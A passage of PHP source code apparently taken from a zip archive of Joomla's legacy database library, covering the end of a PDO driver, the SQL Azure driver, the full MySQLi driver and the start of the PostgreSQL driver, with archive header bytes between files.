execute() { $this->connect(); // Take a local copy so that we don't modify the original query and cause issues later $query = $this->replacePrefix((string) $this->sql); if (!is_object($this->connection)) { JLog::add(JText::sprintf('JLIB_DATABASE_QUERY_FAILED', $this->errorNum, $this->errorMsg), JLog::ERROR, 'database'); throw new JDatabaseExceptionExecuting($query, $this->errorMsg, $this->errorNum); } // Increment the query counter. $this->count++; // Reset the error values. $this->errorNum = 0; $this->errorMsg = ''; // If debugging is enabled then let's log the query. if ($this->debug) { // Add the query to the object queue. $this->log[] = $query; JLog::add($query, JLog::DEBUG, 'databasequery'); $this->timings[] = microtime(true); } // Execute the query. $this->executed = false; if ($this->prepared instanceof PDOStatement) { // Bind the variables: if ($this->sql instanceof JDatabaseQueryPreparable) { $bounded = $this->sql->getBounded(); foreach ($bounded as $key => $obj) { $this->prepared->bindParam($key, $obj->value, $obj->dataType, $obj->length, $obj->driverOptions); } } $this->executed = $this->prepared->execute(); } if ($this->debug) { $this->timings[] = microtime(true); if (defined('DEBUG_BACKTRACE_IGNORE_ARGS')) { $this->callStacks[] = debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS); } else { $this->callStacks[] = debug_backtrace(); } } // If an error occurred handle it. if (!$this->executed) { // Get the error number and message before we execute any more queries. $errorNum = $this->getErrorNumber(); $errorMsg = $this->getErrorMessage(); // Check if the server was disconnected. if (!$this->connected()) { try { // Attempt to reconnect. $this->connection = null; $this->connect(); } // If connect fails, ignore that exception and throw the normal exception. catch (RuntimeException $e) { // Get the error number and message. $this->errorNum = $this->getErrorNumber(); $this->errorMsg = $this->getErrorMessage(); // Throw the normal query exception. JLog::add(JText::sprintf('JLIB_DATABASE_QUERY_FAILED', $this->errorNum, $this->errorMsg), JLog::ERROR, 'database-error'); throw new JDatabaseExceptionExecuting($query, $this->errorMsg, $this->errorNum, $e); } // Since we were able to reconnect, run the query again. return $this->execute(); } // The server was not disconnected. else { // Get the error number and message from before we tried to reconnect. $this->errorNum = $errorNum; $this->errorMsg = $errorMsg; // Throw the normal query exception. JLog::add(JText::sprintf('JLIB_DATABASE_QUERY_FAILED', $this->errorNum, $this->errorMsg), JLog::ERROR, 'database-error'); throw new JDatabaseExceptionExecuting($query, $this->errorMsg, $this->errorNum); } } return $this->prepared; } /** * Retrieve a PDO database connection attribute * * Usage: $db->getOption(PDO::ATTR_CASE); * * @param mixed $key One of the PDO::ATTR_* Constants * * @return mixed * * @link https://www.php.net/manual/en/pdo.getattribute.php * @since 3.0.0 */ public function getOption($key) { $this->connect(); return $this->connection->getAttribute($key); } /** * Get a query to run and verify the database is operational. * * @return string The query to check the health of the DB. * * @since 3.0.1 */ public function getConnectedQuery() { return 'SELECT 1'; } /** * Get the version of the database connector. * * @return string The database connector version. * * @since 3.9.0 */ public function getVersion() { $this->connect(); return $this->getOption(PDO::ATTR_SERVER_VERSION); } /** * Sets an attribute on the PDO database handle. * * Usage: $db->setOption(PDO::ATTR_CASE, PDO::CASE_UPPER); * * @param integer $key One of the PDO::ATTR_* Constants * @param mixed $value One of the associated PDO Constants related to the particular attribute key. * * @return boolean * * @link https://www.php.net/manual/en/pdo.setattribute.php * @since 3.0.0 */ public function setOption($key, $value) { $this->connect(); return $this->connection->setAttribute($key, $value); } /** * Test to see if the PDO extension is available. * Override as needed to check for specific PDO Drivers. * * @return boolean True on success, false otherwise. * * @since 3.0.0 */ public static function isSupported() { return defined('PDO::ATTR_DRIVER_NAME'); } /** * Determines if the connection to the server is active. * * @return boolean True if connected to the database engine. * * @since 3.0.0 */ public function connected() { // Flag to prevent recursion into this function. static $checkingConnected = false; if ($checkingConnected) { // Reset this flag and throw an exception. $checkingConnected = true; die('Recursion trying to check if connected.'); } // Backup the query state. $query = $this->sql; $limit = $this->limit; $offset = $this->offset; $prepared = $this->prepared; try { // Set the checking connection flag. $checkingConnected = true; // Run a simple query to check the connection. $this->setQuery($this->getConnectedQuery()); $status = (bool) $this->loadResult(); } // If we catch an exception here, we must not be connected. catch (Exception $e) { $status = false; } // Restore the query state. $this->sql = $query; $this->limit = $limit; $this->offset = $offset; $this->prepared = $prepared; $checkingConnected = false; return $status; } /** * Get the number of affected rows for the previous executed SQL statement. * Only applicable for DELETE, INSERT, or UPDATE statements. * * @return integer The number of affected rows. * * @since 3.0.0 */ public function getAffectedRows() { $this->connect(); if ($this->prepared instanceof PDOStatement) { return $this->prepared->rowCount(); } else { return 0; } } /** * Get the number of returned rows for the previous executed SQL statement. * Only applicable for DELETE, INSERT, or UPDATE statements. * * @param resource $cursor An optional database cursor resource to extract the row count from. * * @return integer The number of returned rows. * * @since 3.0.0 */ public function getNumRows($cursor = null) { $this->connect(); if ($cursor instanceof PDOStatement) { return $cursor->rowCount(); } elseif ($this->prepared instanceof PDOStatement) { return $this->prepared->rowCount(); } else { return 0; } } /** * Method to get the auto-incremented value from the last INSERT statement. * * @return string The value of the auto-increment field from the last inserted row. * * @since 3.0.0 */ public function insertid() { $this->connect(); // Error suppress this to prevent PDO warning us that the driver doesn't support this operation. return @$this->connection->lastInsertId(); } /** * Select a database for use. * * @param string $database The name of the database to select for use. * * @return boolean True if the database was successfully selected. * * @since 3.0.0 * @throws RuntimeException */ public function select($database) { $this->connect(); return true; } /** * Sets the SQL statement string for later execution. * * @param mixed $query The SQL statement to set either as a JDatabaseQuery object or a string. * @param integer $offset The affected row offset to set. * @param integer $limit The maximum affected rows to set. * @param array $driverOptions The optional PDO driver options. * * @return JDatabaseDriver This object to support method chaining. * * @since 3.0.0 */ public function setQuery($query, $offset = null, $limit = null, $driverOptions = array()) { $this->connect(); $this->freeResult(); if (is_string($query)) { // Allows taking advantage of bound variables in a direct query: $query = $this->getQuery(true)->setQuery($query); } if ($query instanceof JDatabaseQueryLimitable && !is_null($offset) && !is_null($limit)) { $query = $query->processLimit($query, $limit, $offset); } // Create a stringified version of the query (with prefixes replaced): $sql = $this->replacePrefix((string) $query); // Use the stringified version in the prepare call: $this->prepared = $this->connection->prepare($sql, $driverOptions); // Store reference to the original JDatabaseQuery instance within the class. // This is important since binding variables depends on it within execute(): parent::setQuery($query, $offset, $limit); return $this; } /** * Set the connection to use UTF-8 character encoding. * * @return boolean True on success. * * @since 3.0.0 */ public function setUtf() { return false; } /** * Method to commit a transaction. * * @param boolean $toSavepoint If true, commit to the last savepoint. * * @return void * * @since 3.0.0 * @throws RuntimeException */ public function transactionCommit($toSavepoint = false) { $this->connect(); if (!$toSavepoint || $this->transactionDepth == 1) { $this->connection->commit(); } $this->transactionDepth--; } /** * Method to roll back a transaction. * * @param boolean $toSavepoint If true, rollback to the last savepoint. * * @return void * * @since 3.0.0 * @throws RuntimeException */ public function transactionRollback($toSavepoint = false) { $this->connect(); if (!$toSavepoint || $this->transactionDepth == 1) { $this->connection->rollBack(); } $this->transactionDepth--; } /** * Method to initialize a transaction. * * @param boolean $asSavepoint If true and a transaction is already active, a savepoint will be created. * * @return void * * @since 3.0.0 * @throws RuntimeException */ public function transactionStart($asSavepoint = false) { $this->connect(); if (!$asSavepoint || !$this->transactionDepth) { $this->connection->beginTransaction(); } $this->transactionDepth++; } /** * Method to fetch a row from the result set cursor as an array. * * @param mixed $cursor The optional result set cursor from which to fetch the row. * * @return mixed Either the next row from the result set or false if there are no more rows. * * @since 3.0.0 */ protected function fetchArray($cursor = null) { if (!empty($cursor) && $cursor instanceof PDOStatement) { return $cursor->fetch(PDO::FETCH_NUM); } if ($this->prepared instanceof PDOStatement) { return $this->prepared->fetch(PDO::FETCH_NUM); } } /** * Method to fetch a row from the result set cursor as an associative array. * * @param mixed $cursor The optional result set cursor from which to fetch the row. * * @return mixed Either the next row from the result set or false if there are no more rows. * * @since 3.0.0 */ protected function fetchAssoc($cursor = null) { if (!empty($cursor) && $cursor instanceof PDOStatement) { return $cursor->fetch(PDO::FETCH_ASSOC); } if ($this->prepared instanceof PDOStatement) { return $this->prepared->fetch(PDO::FETCH_ASSOC); } } /** * Method to fetch a row from the result set cursor as an object. * * @param mixed $cursor The optional result set cursor from which to fetch the row. * @param string $class Unused, only necessary so method signature will be the same as parent. * * @return mixed Either the next row from the result set or false if there are no more rows. * * @since 3.0.0 */ protected function fetchObject($cursor = null, $class = 'stdClass') { if (!empty($cursor) && $cursor instanceof PDOStatement) { return $cursor->fetchObject($class); } if ($this->prepared instanceof PDOStatement) { return $this->prepared->fetchObject($class); } } /** * Method to free up the memory used for the result set. * * @param mixed $cursor The optional result set cursor from which to fetch the row. * * @return void * * @since 3.0.0 */ protected function freeResult($cursor = null) { $this->executed = false; if ($cursor instanceof PDOStatement) { $cursor->closeCursor(); $cursor = null; } if ($this->prepared instanceof PDOStatement) { $this->prepared->closeCursor(); $this->prepared = null; } } /** * Method to get the next row in the result set from the database query as an object. * * @param string $class The class name to use for the returned row object. * * @return mixed The result of the query as an array, false if there are no more rows. * * @since 3.0.0 * @throws RuntimeException * @deprecated 4.0 (CMS) Use getIterator() instead */ public function loadNextObject($class = 'stdClass') { JLog::add(__METHOD__ . '() is deprecated. Use JDatabaseDriver::getIterator() instead.', JLog::WARNING, 'deprecated'); $this->connect(); // Execute the query and get the result set cursor. if (!$this->executed) { if (!($this->execute())) { return $this->errorNum ? null : false; } } // Get the next row from the result set as an object of type $class. if ($row = $this->fetchObject(null, $class)) { return $row; } // Free up system resources and return. $this->freeResult(); return false; } /** * Method to get the next row in the result set from the database query as an array. * * @return mixed The result of the query as an array, false if there are no more rows. * * @since 3.0.0 * @throws RuntimeException */ public function loadNextAssoc() { $this->connect(); // Execute the query and get the result set cursor. if (!$this->executed) { if (!($this->execute())) { return $this->errorNum ? null : false; } } // Get the next row from the result set as an object of type $class. if ($row = $this->fetchAssoc()) { return $row; } // Free up system resources and return. $this->freeResult(); return false; } /** * Method to get the next row in the result set from the database query as an array. * * @return mixed The result of the query as an array, false if there are no more rows. * * @since 3.0.0 * @throws RuntimeException * @deprecated 4.0 (CMS) Use getIterator() instead */ public function loadNextRow() { JLog::add(__METHOD__ . '() is deprecated. Use JDatabaseDriver::getIterator() instead.', JLog::WARNING, 'deprecated'); $this->connect(); // Execute the query and get the result set cursor. if (!$this->executed) { if (!($this->execute())) { return $this->errorNum ? null : false; } } // Get the next row from the result set as an object of type $class. if ($row = $this->fetchArray()) { return $row; } // Free up system resources and return. $this->freeResult(); return false; } /** * PDO does not support serialize * * @return array * * @since 3.1.4 */ public function __sleep() { $serializedProperties = array(); $reflect = new ReflectionClass($this); // Get properties of the current class $properties = $reflect->getProperties(); foreach ($properties as $property) { // Do not serialize properties that are PDO if ($property->isStatic() == false && !($this->{$property->name} instanceof PDO)) { $serializedProperties[] = $property->name; } } return $serializedProperties; } /** * Wake up after serialization * * @return array * * @since 3.1.4 */ public function __wakeup() { // Get connection back $this->__construct($this->options); } /** * Return the actual SQL Error number * * @return integer The SQL Error number * * @since 3.4.6 */ protected function getErrorNumber() { return (int) $this->connection->errorCode(); } /** * Return the actual SQL Error message * * @return string The SQL Error message * * @since 3.4.6 */ protected function getErrorMessage() { // The SQL Error Information $errorInfo = implode(', ', $this->connection->errorInfo()); // Replace the Databaseprefix with `#__` if we are not in Debug if (!$this->debug) { $errorInfo = str_replace($this->tablePrefix, '#__', $errorInfo); } return $errorInfo; } } PK�\r���EE#joomla/database/driver/sqlazure.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Database * * @copyright (C) 2011 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * SQL Server database driver * * @link https://azure.microsoft.com/en-us/documentation/services/sql-database/ * @since 3.0.0 */ class JDatabaseDriverSqlazure extends JDatabaseDriverSqlsrv { /** * The name of the database driver. * * @var string * @since 3.0.0 */ public $name = 'sqlazure'; } PK�\J�ȉcc!joomla/database/driver/mysqli.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Database * * @copyright (C) 2005 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * MySQLi database driver * * @link https://www.php.net/manual/en/book.mysqli.php * @since 3.0.0 */ class JDatabaseDriverMysqli extends JDatabaseDriver { /** * The name of the database driver. * * @var string * @since 3.0.0 */ public $name = 'mysqli'; /** * The type of the database server family supported by this driver. * * @var string * @since CMS 3.5.0 */ public $serverType = 'mysql'; /** * @var mysqli The database connection resource. * @since 1.7.0 */ protected $connection; /** * The character(s) used to quote SQL statement names such as table names or field names, * etc. The child classes should define this as necessary. If a single character string the * same character is used for both sides of the quoted name, else the first character will be * used for the opening quote and the second for the closing quote. * * @var string * @since 3.0.1 */ protected $nameQuote = '`'; /** * The null or zero representation of a timestamp for the database driver. This should be * defined in child classes to hold the appropriate value for the engine. * * @var string * @since 3.0.1 */ protected $nullDate = '0000-00-00 00:00:00'; /** * @var string The minimum supported database version. * @since 3.0.1 */ protected static $dbMinimum = '5.0.4'; /** * Constructor. * * @param array $options List of options used to configure the connection * * @since 3.0.0 */ public function __construct($options) { // Get some basic values from the options. $options['host'] = (isset($options['host'])) ? $options['host'] : 'localhost'; $options['user'] = (isset($options['user'])) ? $options['user'] : ''; $options['password'] = (isset($options['password'])) ? $options['password'] : ''; $options['database'] = (isset($options['database'])) ? $options['database'] : ''; $options['select'] = (isset($options['select'])) ? (bool) $options['select'] : true; $options['port'] = (isset($options['port'])) ? (int) $options['port'] : null; $options['socket'] = (isset($options['socket'])) ? $options['socket'] : null; // Finalize initialisation. parent::__construct($options); } /** * Connects to the database if needed. * * @return void Returns void if the database connected successfully. * * @since 3.0.0 * @throws RuntimeException */ public function connect() { if ($this->connection) { return; } /* * Unlike mysql_connect(), mysqli_connect() takes the port and socket as separate arguments. Therefore, we * have to extract them from the host string. */ $port = isset($this->options['port']) ? $this->options['port'] : 3306; $regex = '/^(?P<host>((25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?))(:(?P<port>.+))?$/'; if (preg_match($regex, $this->options['host'], $matches)) { // It's an IPv4 address with or without port $this->options['host'] = $matches['host']; if (!empty($matches['port'])) { $port = $matches['port']; } } elseif (preg_match('/^(?P<host>\[.*\])(:(?P<port>.+))?$/', $this->options['host'], $matches)) { // We assume square-bracketed IPv6 address with or without port, e.g. [fe80:102::2%eth1]:3306 $this->options['host'] = $matches['host']; if (!empty($matches['port'])) { $port = $matches['port']; } } elseif (preg_match('/^(?P<host>(\w+:\/{2,3})?[a-z0-9\.\-]+)(:(?P<port>[^:]+))?$/i', $this->options['host'], $matches)) { // Named host (e.g example.com or localhost) with or without port $this->options['host'] = $matches['host']; if (!empty($matches['port'])) { $port = $matches['port']; } } elseif (preg_match('/^:(?P<port>[^:]+)$/', $this->options['host'], $matches)) { // Empty host, just port, e.g. ':3306' $this->options['host'] = 'localhost'; $port = $matches['port']; } // ... else we assume normal (naked) IPv6 address, so host and port stay as they are or default // Get the port number or socket name if (is_numeric($port)) { $this->options['port'] = (int) $port; } else { $this->options['socket'] = $port; } // Make sure the MySQLi extension for PHP is installed and enabled. if (!self::isSupported()) { throw new JDatabaseExceptionUnsupported('The MySQLi extension for PHP is not installed or enabled.'); } $this->connection = @mysqli_connect( $this->options['host'], $this->options['user'], $this->options['password'], null, $this->options['port'], $this->options['socket'] ); // Attempt to connect to the server. if (!$this->connection) { throw new JDatabaseExceptionConnecting('Could not connect to MySQL server.'); } // Set sql_mode to non_strict mode mysqli_query($this->connection, "SET @@SESSION.sql_mode = '';"); // If auto-select is enabled select the given database. if ($this->options['select'] && !empty($this->options['database'])) { $this->select($this->options['database']); } // Pre-populate the UTF-8 Multibyte compatibility flag based on server version $this->utf8mb4 = $this->serverClaimsUtf8mb4Support(); // Set the character set (needed for MySQL 4.1.2+). $this->utf = $this->setUtf(); // Disable query cache and turn profiling ON in debug mode. if ($this->debug) { if ($this->hasQueryCacheEnabled()) { mysqli_query($this->connection, 'SET query_cache_type = 0;'); } if ($this->hasProfiling()) { mysqli_query($this->connection, 'SET profiling_history_size = 100, profiling = 1;'); } } } /** * Disconnects the database. * * @return void * * @since 3.0.0 */ public function disconnect() { // Close the connection. if ($this->connection instanceof mysqli && $this->connection->stat() !== false) { foreach ($this->disconnectHandlers as $h) { call_user_func_array($h, array( &$this)); } mysqli_close($this->connection); } $this->connection = null; } /** * Method to escape a string for usage in an SQL statement. * * @param string $text The string to be escaped. * @param boolean $extra Optional parameter to provide extra escaping. * * @return string The escaped string. * * @since 3.0.0 */ public function escape($text, $extra = false) { if (is_int($text)) { return $text; } if (is_float($text)) { // Force the dot as a decimal point. return str_replace(',', '.', (string) $text); } $this->connect(); $result = mysqli_real_escape_string($this->getConnection(), (string) $text); if ($extra) { $result = addcslashes($result, '%_'); } return $result; } /** * Test to see if the MySQL connector is available. * * @return boolean True on success, false otherwise. * * @since 3.0.0 */ public static function isSupported() { return function_exists('mysqli_connect'); } /** * Determines if the connection to the server is active. * * @return boolean True if connected to the database engine. * * @since 3.0.0 */ public function connected() { if (is_object($this->connection)) { return mysqli_ping($this->connection); } return false; } /** * Drops a table from the database. * * @param string $tableName The name of the database table to drop. * @param boolean $ifExists Optionally specify that the table must exist before it is dropped. * * @return JDatabaseDriverMysqli Returns this object to support chaining. * * @since 3.0.1 * @throws RuntimeException */ public function dropTable($tableName, $ifExists = true) { $this->connect(); $query = $this->getQuery(true); $this->setQuery('DROP TABLE ' . ($ifExists ? 'IF EXISTS ' : '') . $query->quoteName($tableName)); $this->execute(); return $this; } /** * Get the number of affected rows by the last INSERT, UPDATE, REPLACE or DELETE for the previous executed SQL statement. * * @return integer The number of affected rows. * * @since 3.0.0 */ public function getAffectedRows() { $this->connect(); return mysqli_affected_rows($this->connection); } /** * Method to get the database collation. * * @return mixed The collation in use by the database (string) or boolean false if not supported. * * @since 3.0.1 * @throws RuntimeException */ public function getCollation() { $this->connect(); // Attempt to get the database collation by accessing the server system variable. $this->setQuery('SHOW VARIABLES LIKE "collation_database"'); $result = $this->loadObject(); if (property_exists($result, 'Value')) { return $result->Value; } else { return false; } } /** * Method to get the database connection collation, as reported by the driver. If the connector doesn't support * reporting this value please return an empty string. * * @return string */ public function getConnectionCollation() { $this->connect(); // Attempt to get the database collation by accessing the server system variable. $this->setQuery('SHOW VARIABLES LIKE "collation_connection"'); $result = $this->loadObject(); if (property_exists($result, 'Value')) { return $result->Value; } else { return false; } } /** * Get the number of returned rows for the previous executed SQL statement. * This command is only valid for statements like SELECT or SHOW that return an actual result set. * To retrieve the number of rows affected by an INSERT, UPDATE, REPLACE or DELETE query, use getAffectedRows(). * * @param resource $cursor An optional database cursor resource to extract the row count from. * * @return integer The number of returned rows. * * @since 3.0.0 */ public function getNumRows($cursor = null) { return mysqli_num_rows($cursor ? $cursor : $this->cursor); } /** * Shows the table CREATE statement that creates the given tables. * * @param mixed $tables A table name or a list of table names. * * @return array A list of the create SQL for the tables. * * @since 3.0.0 * @throws RuntimeException */ public function getTableCreate($tables) { $this->connect(); $result = array(); // Sanitize input to an array and iterate over the list. settype($tables, 'array'); foreach ($tables as $table) { // Set the query to get the table CREATE statement. $this->setQuery('SHOW CREATE table ' . $this->quoteName($this->escape($table))); $row = $this->loadRow(); // Populate the result array based on the create statements. $result[$table] = $row[1]; } return $result; } /** * Retrieves field information about a given table. * * @param string $table The name of the database table. * @param boolean $typeOnly True to only return field types. * * @return array An array of fields for the database table. * * @since 3.0.1 * @throws RuntimeException */ public function getTableColumns($table, $typeOnly = true) { $this->connect(); $result = array(); // Set the query to get the table fields statement. $this->setQuery('SHOW FULL COLUMNS FROM ' . $this->quoteName($this->escape($table))); $fields = $this->loadObjectList(); // If we only want the type as the value add just that to the list. if ($typeOnly) { foreach ($fields as $field) { $result[$field->Field] = preg_replace('/[(0-9)]/', '', $field->Type); } } // If we want the whole field data object add that to the list. else { foreach ($fields as $field) { $result[$field->Field] = $field; } } return $result; } /** * Get the details list of keys for a table. * * @param string $table The name of the table. * * @return array An array of the column specification for the table. * * @since 3.0.1 * @throws RuntimeException */ public function getTableKeys($table) { $this->connect(); // Get the details columns information. $this->setQuery('SHOW KEYS FROM ' . $this->quoteName($table)); $keys = $this->loadObjectList(); return $keys; } /** * Method to get an array of all tables in the database. * * @return array An array of all the tables in the database. * * @since 3.0.1 * @throws RuntimeException */ public function getTableList() { $this->connect(); // Set the query to get the tables statement. $this->setQuery('SHOW TABLES'); $tables = $this->loadColumn(); return $tables; } /** * Get the version of the database connector. * * @return string The database connector version. * * @since 3.0.0 */ public function getVersion() { $this->connect(); return mysqli_get_server_info($this->connection); } /** * Method to get the auto-incremented value from the last INSERT statement. * * @return mixed The value of the auto-increment field from the last inserted row. * If the value is greater than maximal int value, it will return a string. * * @since 3.0.0 */ public function insertid() { $this->connect(); return mysqli_insert_id($this->connection); } /** * Locks a table in the database. * * @param string $table The name of the table to unlock. * * @return JDatabaseDriverMysqli Returns this object to support chaining. * * @since 3.0.1 * @throws RuntimeException */ public function lockTable($table) { $this->setQuery('LOCK TABLES ' . $this->quoteName($table) . ' WRITE')->execute(); return $this; } /** * Execute the SQL statement. * * @return mixed A database cursor resource on success, boolean false on failure. * * @since 3.0.0 * @throws RuntimeException */ public function execute() { $this->connect(); // Take a local copy so that we don't modify the original query and cause issues later $query = $this->replacePrefix((string) $this->sql); if (!($this->sql instanceof JDatabaseQuery) && ($this->limit > 0 || $this->offset > 0)) { $query .= ' LIMIT ' . $this->offset . ', ' . $this->limit; } if (!is_object($this->connection)) { JLog::add(JText::sprintf('JLIB_DATABASE_QUERY_FAILED', $this->errorNum, $this->errorMsg), JLog::ERROR, 'database'); throw new JDatabaseExceptionExecuting($query, $this->errorMsg, $this->errorNum); } // Increment the query counter. $this->count++; // Reset the error values. $this->errorNum = 0; $this->errorMsg = ''; $memoryBefore = null; // If debugging is enabled then let's log the query. if ($this->debug) { // Add the query to the object queue. $this->log[] = $query; JLog::add($query, JLog::DEBUG, 'databasequery'); $this->timings[] = microtime(true); if (is_object($this->cursor)) { // Avoid warning if result already freed by third-party library @$this->freeResult(); } $memoryBefore = memory_get_usage(); } // Execute the query. Error suppression is used here to prevent warnings/notices that the connection has been lost. $this->cursor = @mysqli_query($this->connection, $query); if ($this->debug) { $this->timings[] = microtime(true); if (defined('DEBUG_BACKTRACE_IGNORE_ARGS')) { $this->callStacks[] = debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS); } else { $this->callStacks[] = debug_backtrace(); } $this->callStacks[count($this->callStacks) - 1][0]['memory'] = array( $memoryBefore, memory_get_usage(), is_object($this->cursor) ? $this->getNumRows() : null, ); } // If an error occurred handle it. if (!$this->cursor) { // Get the error number and message before we execute any more queries. $this->errorNum = $this->getErrorNumber(); $this->errorMsg = $this->getErrorMessage(); // Check if the server was disconnected. if (!$this->connected()) { try { // Attempt to reconnect. $this->connection = null; $this->connect(); } // If connect fails, ignore that exception and throw the normal exception. catch (RuntimeException $e) { // Get the error number and message. $this->errorNum = $this->getErrorNumber(); $this->errorMsg = $this->getErrorMessage(); JLog::add(JText::sprintf('JLIB_DATABASE_QUERY_FAILED', $this->errorNum, $this->errorMsg), JLog::ERROR, 'database-error'); throw new JDatabaseExceptionExecuting($query, $this->errorMsg, $this->errorNum, $e); } // Since we were able to reconnect, run the query again. return $this->execute(); } // The server was not disconnected. else { JLog::add(JText::sprintf('JLIB_DATABASE_QUERY_FAILED', $this->errorNum, $this->errorMsg), JLog::ERROR, 'database-error'); throw new JDatabaseExceptionExecuting($query, $this->errorMsg, $this->errorNum); } } return $this->cursor; } /** * Renames a table in the database. * * @param string $oldTable The name of the table to be renamed * @param string $newTable The new name for the table. * @param string $backup Not used by MySQL. * @param string $prefix Not used by MySQL. * * @return JDatabaseDriverMysqli Returns this object to support chaining. * * @since 3.0.1 * @throws RuntimeException */ public function renameTable($oldTable, $newTable, $backup = null, $prefix = null) { $this->setQuery('RENAME TABLE ' . $oldTable . ' TO ' . $newTable)->execute(); return $this; } /** * Select a database for use. * * @param string $database The name of the database to select for use. * * @return boolean True if the database was successfully selected. * * @since 3.0.0 * @throws RuntimeException */ public function select($database) { $this->connect(); if (!$database) { return false; } if (!mysqli_select_db($this->connection, $database)) { throw new JDatabaseExceptionConnecting('Could not connect to MySQL database.'); } return true; } /** * Set the connection to use UTF-8 character encoding. * * @return boolean True on success. * * @since 3.0.0 */ public function setUtf() { // If UTF is not supported return false immediately if (!$this->utf) { return false; } // Make sure we're connected to the server $this->connect(); // Which charset should I use, plain utf8 or multibyte utf8mb4? $charset = $this->utf8mb4 ? 'utf8mb4' : 'utf8'; $result = @$this->connection->set_charset($charset); /** * If I could not set the utf8mb4 charset then the server doesn't support utf8mb4 despite claiming otherwise. * This happens on old MySQL server versions (less than 5.5.3) using the mysqlnd PHP driver. Since mysqlnd * masks the server version and reports only its own we can not be sure if the server actually does support * UTF-8 Multibyte (i.e. it's MySQL 5.5.3 or later). Since the utf8mb4 charset is undefined in this case we * catch the error and determine that utf8mb4 is not supported! */ if (!$result && $this->utf8mb4) { $this->utf8mb4 = false; $result = @$this->connection->set_charset('utf8'); } return $result; } /** * Method to commit a transaction. * * @param boolean $toSavepoint If true, commit to the last savepoint. * * @return void * * @since 3.0.1 * @throws RuntimeException */ public function transactionCommit($toSavepoint = false) { $this->connect(); if (!$toSavepoint || $this->transactionDepth <= 1) { if ($this->setQuery('COMMIT')->execute()) { $this->transactionDepth = 0; } return; } $this->transactionDepth--; } /** * Method to roll back a transaction. * * @param boolean $toSavepoint If true, rollback to the last savepoint. * * @return void * * @since 3.0.1 * @throws RuntimeException */ public function transactionRollback($toSavepoint = false) { $this->connect(); if (!$toSavepoint || $this->transactionDepth <= 1) { if ($this->setQuery('ROLLBACK')->execute()) { $this->transactionDepth = 0; } return; } $savepoint = 'SP_' . ($this->transactionDepth - 1); $this->setQuery('ROLLBACK TO SAVEPOINT ' . $this->quoteName($savepoint)); if ($this->execute()) { $this->transactionDepth--; } } /** * Method to initialize a transaction. * * @param boolean $asSavepoint If true and a transaction is already active, a savepoint will be created. * * @return void * * @since 3.0.1 * @throws RuntimeException */ public function transactionStart($asSavepoint = false) { $this->connect(); if (!$asSavepoint || !$this->transactionDepth) { if ($this->setQuery('START TRANSACTION')->execute()) { $this->transactionDepth = 1; } return; } $savepoint = 'SP_' . $this->transactionDepth; $this->setQuery('SAVEPOINT ' . $this->quoteName($savepoint)); if ($this->execute()) { $this->transactionDepth++; } } /** * Method to fetch a row from the result set cursor as an array. * * @param mixed $cursor The optional result set cursor from which to fetch the row. * * @return mixed Either the next row from the result set or false if there are no more rows. * * @since 3.0.0 */ protected function fetchArray($cursor = null) { return mysqli_fetch_row($cursor ? $cursor : $this->cursor); } /** * Method to fetch a row from the result set cursor as an associative array. * * @param mixed $cursor The optional result set cursor from which to fetch the row. * * @return mixed Either the next row from the result set or false if there are no more rows. * * @since 3.0.0 */ protected function fetchAssoc($cursor = null) { return mysqli_fetch_assoc($cursor ? $cursor : $this->cursor); } /** * Method to fetch a row from the result set cursor as an object. * * @param mixed $cursor The optional result set cursor from which to fetch the row. * @param string $class The class name to use for the returned row object. * * @return mixed Either the next row from the result set or false if there are no more rows. * * @since 3.0.0 */ protected function fetchObject($cursor = null, $class = 'stdClass') { return mysqli_fetch_object($cursor ? $cursor : $this->cursor, $class); } /** * Method to free up the memory used for the result set. * * @param mixed $cursor The optional result set cursor from which to fetch the row. * * @return void * * @since 3.0.0 */ protected function freeResult($cursor = null) { mysqli_free_result($cursor ? $cursor : $this->cursor); if ((! $cursor) || ($cursor === $this->cursor)) { $this->cursor = null; } } /** * Unlocks tables in the database. * * @return JDatabaseDriverMysqli Returns this object to support chaining. * * @since 3.0.0 * @throws RuntimeException */ public function unlockTables() { $this->setQuery('UNLOCK TABLES')->execute(); return $this; } /** * Internal function to check if profiling is available * * @return boolean * * @since 3.1.3 */ private function hasProfiling() { try { $res = mysqli_query($this->connection, "SHOW VARIABLES LIKE 'have_profiling'"); $row = mysqli_fetch_assoc($res); return isset($row); } catch (Exception $e) { return false; } } /** * Internal function to check if query cache is enabled. * * @return boolean * * @since 3.9.25 */ private function hasQueryCacheEnabled() { try { $res = mysqli_query($this->connection, "SHOW VARIABLES LIKE 'query_cache_type'"); $row = mysqli_fetch_assoc($res); return isset($row['Value']) && $row['Value'] === 'ON'; } catch (Exception $e) { return false; } } /** * Does the database server claim to have support for UTF-8 Multibyte (utf8mb4) collation? * * libmysql supports utf8mb4 since 5.5.3 (same version as the MySQL server). mysqlnd supports utf8mb4 since 5.0.9. * * @return boolean * * @since CMS 3.5.0 */ private function serverClaimsUtf8mb4Support() { $client_version = mysqli_get_client_info(); $server_version = $this->getVersion(); if (version_compare($server_version, '5.5.3', '<')) { return false; } else { if (strpos($client_version, 'mysqlnd') !== false) { $client_version = preg_replace('/^\D+([\d.]+).*/', '$1', $client_version); return version_compare($client_version, '5.0.9', '>='); } else { return version_compare($client_version, '5.5.3', '>='); } } } /** * Return the actual SQL Error number * * @return integer The SQL Error number * * @since 3.4.6 */ protected function getErrorNumber() { return (int) mysqli_errno($this->connection); } /** * Return the actual SQL Error message * * @return string The SQL Error message * * @since 3.4.6 */ protected function getErrorMessage() { $errorMessage = (string) mysqli_error($this->connection); // Replace the Databaseprefix with `#__` if we are not in Debug if (!$this->debug) { $errorMessage = str_replace($this->tablePrefix, '#__', $errorMessage); } return $errorMessage; } } PK�\a��f�f joomla/database/driver/pgsql.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Database * * @copyright (C) 2018 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * PostgreSQL PDO Database Driver * * @link 